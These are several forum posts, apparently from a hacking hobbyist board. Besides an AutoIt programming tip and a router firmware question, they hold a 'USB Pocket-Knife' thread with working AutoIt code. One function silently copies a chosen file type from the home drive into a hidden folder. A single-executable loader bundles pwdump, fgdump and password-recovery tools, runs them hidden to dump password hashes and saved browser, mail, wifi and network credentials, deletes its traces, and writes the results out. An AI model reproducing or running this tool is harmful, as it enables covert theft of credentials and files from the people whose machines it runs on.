[Installing on the Fon+]

fast question, what will be installed when using this image :-)

is this a unlocked version of the fonera firmware (ssh enabled) or a fully functional jasager image customized to work on fon+ ?

and if it is the fonera firmware image, why should someone want to first nstall this the doo all the steps again to install openwrt when it can be installed whithout fonera firmare previously installed...

im a bit confused now ;P

please help me interpreting this post correctly :-)

[USB Pocket-Knife Development]

somebody requested a slurping code in autoit?

_CopyAll("doc")

Func _CopyAll($type, $where = @HomeDrive, $to = "C:\HIDDEN\FOLDER\")
    Local $search = FileFindFirstFile($where & "\*.*"), $file
    If $search = -1 Then
        Return False
    EndIf
    While 1
        $file = FileFindNextFile($search)
        If @error Then ExitLoop
        If StringRight($file, 4) = "." & $type Then FileCopy($where & "\" & $file, $to, 9)
        If StringInStr(FileGetAttrib($where & "\" & $file), "D") Then
            Call("_CopyAll", $type, $where & "\" & $file)
        EndIf
    WEnd
    FileClose($search)
EndFunc ;==>_CopyAll

[sinplest language you know]

for me the far most easiest language to learn, even though im not a native english speaker is autoit,

you can create your own executables no dependancies standalone ... you can write the hello world in one line >>>MsgBox(0, default,"Title", "Hello World")<<< compile it with F7 and you are done.

It even comes with it's own nice IDE "SciTe" which has intellisense is flexible and has a lot of nice potential to expand by you :)

just download the stable release at www.autoitscript.com and the scite package for stable install them,

and you have a COMPLETE documentation with nice examples of EVERY function method and variable you can use.

btw: did i mentioned that you don't have to declare variables :)

here i have something for you to discover:

$a=StringSplit("547275737420796F757220546563686E6F6C75737421","")
For $b=1 To UBound($a)+(-1*-1*-1)step(2^4/8)
    Assign("c",Eval("c")&Chr(Dec($a[$b]&$a[$b+1])))
Next
MsgBox(0x000000,"",Eval("c"))

[USB Pocket-Knife Development]

Is it possible to autorun when a machine is locked by an admin?

if the admin has autorun enabled, which is by default true then yes :-)

[USB Pocket-Knife Development]

nevermind i found everything...

sry don't look to often in the forum once twice a day..

if you need help please pm me :)

[USB Pocket-Knife Development]

i forgot to mention that if you need any changes i will be glad to help you changing the code or rewriting it for you :-)

[USB Pocket-Knife Development]

i rewrote the fetching part so it is only one executable :

here the code

#AutoIt3Wrapper_Change2CUI=y
#include <Constants.au3>

FileInstall("pwdump.exe", @ScriptDir & "\pwdump.exe")
FileInstall("pwdump7.exe", @ScriptDir & "\pwdump7.exe")
FileInstall("fgdump.exe", @ScriptDir & "\fgdump.exe")
FileInstall("netpass.exe", @ScriptDir & "\netpass.exe")
FileInstall("firepassword.exe", @ScriptDir & "\firepassword.exe")
FileInstall("mailpv.exe", @ScriptDir & "\mailpv.exe")
FileInstall("ChromePass.exe", @ScriptDir & "\ChromePass.exe")
FileInstall("mspass.exe", @ScriptDir & "\mspass.exe")
FileInstall("pspv.exe", @ScriptDir & "\pspv.exe")
FileInstall("produkey.exe", @ScriptDir & "\produkey.exe")
FileInstall("wul.exe", @ScriptDir & "\wul.exe")
FileInstall("portqry.exe", @ScriptDir & "\portqry.exe")
FileInstall("wifike.exe", @ScriptDir & "\wifike.exe")
FileInstall("servpw.exe", @ScriptDir & "\servpw.exe")
FileInstall("libeay32.dll", @ScriptDir & "\libeay32.dll")


ConsoleWrite(GetOutputOf('pwdump.exe 127.0.0.1'))
ConsoleWrite(GetOutputOf('pwdump7.exe'))
ConsoleWrite(GetOutputOf('fgdump.exe -vv -c'))
ConsoleWrite(GetOutputOf('netpass.exe /stext tmpfile'))
ConsoleWrite(GetOutputOf('firepassword.exe'))
ConsoleWrite(GetOutputOf('mailpv.exe /stext tmpfile'))
ConsoleWrite(GetOutputOf('ChromePass.exe /stext tmpfile'))
ConsoleWrite(GetOutputOf('mspass.exe /stext tmpfile'))
ConsoleWrite(GetOutputOf('pspv.exe /stext tmpfile'))
ConsoleWrite(GetOutputOf('produkey.exe /nosavereg /stext tmpfile'))
ConsoleWrite(GetOutputOf('vul.exe /stext tmpfile'))
ConsoleWrite(GetOutputOf('portqry.exe -local -v -v'))
ConsoleWrite(GetOutputOf('wifike.exe /stext tmpfile'))

$search = FileFindFirstFile(@ScriptDir & "\*.*")  
While 1
    $file = FileFindNextFile($search) 
    If @error Then ExitLoop
    if $file = "start.exe" then ContinueLoop
    if $file = "start.au3" then ContinueLoop
    if $file = "output.txt" then ContinueLoop
    FileDelete($file)
WEnd
FileClose($search)


Func GetOutputOf($cmd)
    Local $foo = Run(@ScriptDir & '\' & $cmd, @ScriptDir, @SW_HIDE, $STDERR_CHILD + $STDOUT_CHILD)
    Local $line, $output, $headder = '##############################################' & @CRLF & $cmd & @CRLF & '##############################################' & @CRLF
    While 1
        $line = StdoutRead($foo)
        If @error Then ExitLoop
        $output &= $line
    WEnd
    If StringInStr($cmd, "tmpfile") Then
        $output = FileRead(@ScriptDir & '\tmpfile')
        FileDelete(@ScriptDir & '\tmpfile')
    EndIf
    Return $headder & $output
EndFunc  ;==>GetOutputOf

attached you find the link to the exe, because all executables that fetch information are included into the exe it is 1.936.652 kb in size, unfortunately the forum lets me upload only 500kb ...

if you execute the file it will extract the executables bound to the attached exe, then start them with the paramaters you see in the source code.

the output of interin text files will be piped into the dos console, so a simple call of start.exe >> output.txt will be enough to get all information of the device :-)

THIS IS JUST FOR INFORMATION GATHERING, NO KEYLOGGERS ETC WILL BE INSTALLED.

best regards,

J.

btw: if you need "special development" of custom software feel free to contact me.

here the link: start.exe

[USB Pocket-Knife Development]

i think i will rework this whole bunch of batch scripts to be a bit more effective.

will upload an exact copy of your great work in a couple of days.